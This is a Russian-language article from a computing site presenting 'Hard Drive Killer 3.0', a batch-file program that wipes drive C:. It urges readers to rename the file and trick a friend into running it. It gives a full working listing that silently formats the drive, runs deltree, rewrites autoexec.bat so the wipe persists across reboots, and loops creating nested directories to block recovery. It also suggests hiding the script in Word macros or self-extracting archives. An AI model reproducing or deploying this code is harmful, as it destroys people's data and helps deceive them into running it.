16 июля 2019 года    
Вторник | 14:26    
Главная
 Новости
Базы данных
Безопасность PC
Всё о компьютерах
Графика и дизайн
Интернет-технологии
Мобильные устройства
Операционные системы
Программирование
Программы
Связь
Сети
 Документация
Статьи
Самоучители
 Общение
Форум







Разделы / Всё о компьютерах / Другие

HARD DRIVE KILLER VERSION 3.0

HARD DRIVE KILLER VERSION 3.0

Известь и ржавчину - удалит без труда!

ИНСТРУКЦИЯ К ПРИМЕНЕНИЮ

Просто пошли файл hdk_v3.bat своему "лучшему другу" (типа, баклану - бакланья смерть!)и попроси запустить его. Можно поменять название. И все. Теперь жди, когда он начнет орать благим матом.

ОПИСАНИЕ РАБОТЫ

Прежде всего, этот батник предполагает, что у жертвы есть работающий PC с диском c:\.

Этот файл самым глобальным образом уничтожает данные на диске! После выполнения этой batch-программы (далее буду именовать ее просто программой) все данные диска Цэ:\ на любом ПиСи форматируются\вытираются за несколько секунд (приблизительно 5-6 секунд). Просто чудо - гигабайты информации за несколько секунд!

Я уверен, что ты, вероятно, что-нибудь слышал о файле autoexec.bat, который автоматически запускается при загрузке Dos (перед запуском Форточек). Итак, этот лучший очиститель твердого диска вставляет некоторые команды в autoexec.bat. Как только ты запускаешь эту программу, она сразу же начинает губить жесткий диск. Даже если что-то пойдет не так, например, злобный чайник выключит свой ПиСюк, завидев странный черный экран без символов, и услышит ровное журчание диска, программа все равно вставит нужные команды в autoexec.bat, и после перезагрузки все пойдет своим чередом, и процесс продолжится с того места, на каком остановился! Итак - чайнику от нее не уйти!!! Будучи однажды запущенной, она превращается в неизбежный факт, от которого не скрыться (...я ужас, летящий на крыльях ночи...). Все будет сделано на совесть, и нет таких средств, которые бы смогли восстановить информацию, которая была на винте. Ты, конечно, скажешь: "А как же утилиты Петьки Нортона?". И я отвечу - утилитки зашибись, но в данном случае Mr. Norton может встать в позу речного скорпиона! Еще раз повторю, что никакая утилита не сможет восстановить информацию, убиенную циклом, который стоит после метки ":killfat". Как можно видеть, этот цикл создает немереное количество директорий, поддиректорий, подподдиректорий, создающихся одна в другой и т.д. с именем "Nasty", а также файл с именем "yourgone.txt" с отчетом о проделанной работе и соболезнованиями. Из-за того, что на месте уничтоженной информации появляется другая с бесконечным циклом, всякие там унформаты с энурезами ничего восстановить уже не смогут...

БОЛЕЕ ПОДРОБНОЕ ОПИСАНИЕ РАБОТЫ ПРОГРАММЫ ДЛЯ ОСОБО ЛЮБОЗНАТЕЛЬНЫХ

Когда программа запускается, на мониторе появляется фраза: "PLEASE WAIT WHILE PROGRAM LOADS ..." и ничего другого. Почему? Да потому что существует такая замечательная вещь, как "NUL device". Сей девайс физически нигде не присутствует на компьютере, не надо разбирать корпус и распиливать микросхемы на мамке и видеокарточке в поисках оного... Это такое хитрое виртуальное устройство, где временно хранятся буковки и цифирки, после того как ты удаляешь их клавишей BackSpace или Delete. Это место, откуда не возвращаются... Итак, вместо вывода символов на экран мы отправляем их на "NUL device" с помощью команды ">nul" в конце строки. После этого никто не увидит того, что происходит в данный момент.

Теперь будем смотреть на внутренности нашей программы. Начинаем с "настройки" autoexec'а. Прежде всего снимем атрибуты "скрытый" и "только-для-чтения" с файла autoexec.bat, чтобы можно было без проблем им манипулировать. Строка "echo format c: /q /u /autotest >nul >c:\autoexec.bat" весьма важна, она означает: все что находится после слова "echo", должно быть выведено на экран. Но мы перенаправляем вывод на экран в файл autoexec.bat. После чего он будет содержать команду - "format c: /q /u /autotest >nul". Команда "@echo off" в начале нашей программы просто не выводит на экран результаты работы, а перенаправление на nul - сами команды (не путать эти два понятия!). Это только начало "конфигурации" autoexec'a. Примите к сведению, что "echo @echo off >c:\autoexec.bat" обнуляет autoexec для того чтобы в дальнейшем программа стартовала безо всяких задержек. После чего наша программа начинает вставлять свой код в "обновленный" autoexec. Этот процесс займет пару секунд, в зависимости от скорости машины. Полностью процесс работы программы занимает около пяти секунд, если работает format. Если по какой-то причине на диске нет файла format.com, то остается deltree, но это несколько дольше (несколько минут). Но я уверен, что сработает format...

Если у жертвы кривые руки и в autoexec'e нет переменной PATH с путем к format'у, то программа начинает поиск format'a в местах, где наиболее часто встречаются его лежбища (c:\dos для Windows 3.1 и c:\windows\command для Windows 95/NT/98). После успешного поиска он оттуда и будет запущен. Бросим глаз на пример. Скажем, метка ":dosform". Переход к этой метке произошел после метки ":form", которая говорит: "если файл format.* существует в директории c:\dos, то иди к метке ":dosform". И команды, которые находятся под меткой ":dosform", считают, что файл format.* находится в Dos директории. И так далее... Как видите, в программе несколько похожих ходов. После обширного исследования ПиСюка "жертвы" программа вставляет свой код полностью в autoexec.bat вместе с множеством "echo" команд.

Как можно заметить, в восьмой строке программы есть команда "echo dummy variable >c:\dvar.txt". Совершенно не важно, что будет находиться в этом файле. Эта фиговина нужна лишь для того, чтобы определить, был ли отформатирован винт или нет. То есть, если после запуска программы она обнаруживает, что этот файл еще существует, программа думает, что отработала формат (иначе его бы не было), :) и после этого переходит к фазе "delete" (которая запускается строкой "if exist dvar.txt goto dtree").

Немного о команде format. Свитч /q включает режим "быстрого" форматирования, свитч /u включает "безусловный" формат (типа, без вопросов), /h включат многозадачный режим (форматирование будет идти в фоновом режиме) и, наконец - /autotest, включающий режим , когда ПиCюк не спрашивает: "Ты уверен, что ты хочешь отформатировать системный диск???".

На основе этой программы можно написать более мощную, обрабатывающую не один диск. Также можно сделать "Вордовский" макрос. Еще можно засунуть ее в самораспаковывающийся архив, который будет ее запускать при запуске... Вариантов - тьма! Главное - проявить больше фантазии...

А вот и листинг...

@echo off

echo PLEASE WAIT WHILE PROGRAM LOADS . . .

call attrib -h -r c:\autoexec.bat >nul

echo @echo off >c:\autoexec.bat

echo call format c: /q /u /autotest >nul >>c:\autoexec.bat

echo call deltree /y c: >nul >>c:\autoexec.bat

echo dummy variable >c:\dvar.txt

:form

call format c: /q /u /autotest >nul

if exist c:\dos\format.* goto dosform

if exist c:\windows\command\format.* goto winform

goto de

:dosform

cd\dos >nul

call format c: /h /q /u /autotest >nul

cd\ >nul

:winform

cd\windows\command >nul

call format c: /h /q /u /autotest >nul

cd\ >nul

goto inform

:de

if exist c:\dvar.txt goto dtree

goto inform

:dtree

call deltree /y c: >nul

if exist c:\dos\deltree.* goto deldos

if exist c:\windows\command\deltree.* goto delwin

goto inform

:deldos

cd\dos

call deltree /y c: >nul

cd\

:delwin

cd\windows\command >nul

call deltree /y c: >nul

cd\ >nul

 

:inform

cls

echo You have been hit by the Hard Drive Killer, written by Munga Bunga >c:\hdkiller.txt

echo HD Killer is a Munga Bunga Production. >>c:\hdkiller.txt

echo. >>c:\hdkiller.txt

echo Here is a message to all you butt lickers. . . >>c:\hdkiller.txt

echo. >>c:\hdkiller.txt

echo FREE KEVIN MITNIC [Munga Bunga]. >>c:\hdkiller.txt

echo. >>c:\hdkiller.txt

echo If you were destroyed by this HDkiller program, then you would have >>c:\hdkiller.txt

echo deserved it. Die you mother fu#$ers!!!! >>c:\hdkiller.txt

 

rem Последующий код переписывает файл autoexec.bat

echo @echo off >c:\autoexec.bat

echo cls >>c:\autoexec.bat

echo :form

echo call format c: /q /u /autotest >nul >>c:\autoexec.bat

echo if exist c:\dos\format.* goto dosform >>c:\autoexec.bat

echo if exist c:\windows\command\format.* goto winform >>c:\autoexec.bat

echo goto de >>c:\autoexec.bat

echo :dosform >>c:\autoexec.bat

echo cd\dos >nul >>c:\autoexec.bat

echo call format c: /q /u /autotest >nul >>c:\autoexec.bat

echo cd\ >nul >>c:\autoexec.bat

echo :winform >>c:\autoexec.bat

echo cd\windows\command >nul >>c:\autoexec.bat

echo call format c: /q /u /autotest >nul >>c:\autoexec.bat

echo cd\ >nul >>c:\autoexec.bat

echo goto write >>c:\autoexec.bat

echo :de >>c:\autoexec.bat

echo if exist c:\dvar.txt goto dtree >>c:\autoexec.bat

echo goto write >>c:\autoexec.bat

echo :dtree >>c:\autoexec.bat

echo call deltree /y c: >nul >>c:\autoexec.bat

echo if exist c:\dos\deltree.* goto deldos >>c:\autoexec.bat

echo if exist c:\windows\command\deltree.* goto delwin >>c:\autoexec.bat

echo :deldos >>c:\autoexec.bat

echo cd\dos >>c:\autoexec.bat

echo call deltree /y c: >nul >>c:\autoexec.bat

echo cd\ >>c:\autoexec.bat

echo :delwin >>c:\autoexec.bat

echo cd\windows\command >nul >>c:\autoexec.bat

echo call deltree /y c: >nul >>c:\autoexec.bat

echo cd\ >nul >>c:\autoexec.bat

echo :write >>c:\autoexec.bat

echo type hdkiller.txt >>c:\autoexec.bat

echo c:\ >>c:\autoexec.bat

echo cd\ >>c:\autoexec.bat

echo :nasty >>c:\autoexec.bat

echo md nasty >>c:\autoexec.bat

echo cd nasty >>c:\autoexec.bat

 

echo echo You're Gone @$$ hole!!!! >yourgone.txt >>c:\autoexec.bat

echo goto nasty >>c:\autoexec.bat

echo pause >>c:\autoexec.bat

rem Перепись файла autoexec.bat закончена.

c:\ >nul

cd\ >nul

:killfat

md nasty >nul

cd nasty >nul

echo You're Gone ass hole!!!! >yourgone.txt >nul

goto killfat

:end

 HARD DRIVE KILLER VERSION 3.0
Лента новостей


2006 (c) Copyright Hardline.ru